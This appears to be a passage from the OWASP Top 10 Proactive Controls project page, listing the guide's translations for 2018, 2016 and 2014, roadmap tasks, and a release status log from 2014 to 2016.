  • Top 10 Proactive Controls 2018 Polish Translation: PDF Download

2016 Version

  • Top 10 Proactive Controls 2016 Traditional Chinese Translation PDF Download
  • Top 10 Proactive Controls 2016 Simplified Chinese Translation PDF Download
  • Top 10 Proactive Controls 2016 Japanese Translation PDF Download
  • Top 10 Proactive Controls 2016 Hebrew Translation PDF Download

2014 Version

  • Hebrew and French translations of the Top 10 Proactive Controls 2014 can be found on the 2014 archive tab.

Welcome to the OWASP Top 10 Proactive Controls Project!

2018 Roadmap

  • Create new PowerPoint and other artifacts for 2018 version (done)
  • Create wiki for 2018 version (work in progress)

2016 Roadmap

  • Create new PowerPoint and other artifacts for 2016 version (done)
  • Proactive Control Mapping to Cheatsheet (done)

Status

  • February 21, 2014 Moved 2014 info to archive tab
  • January 15, 2016: 2016 Proactive Controls Released!
  • August 6, 2015: Kickoff for 2.0 effort, in progress
  • March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.
  • February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.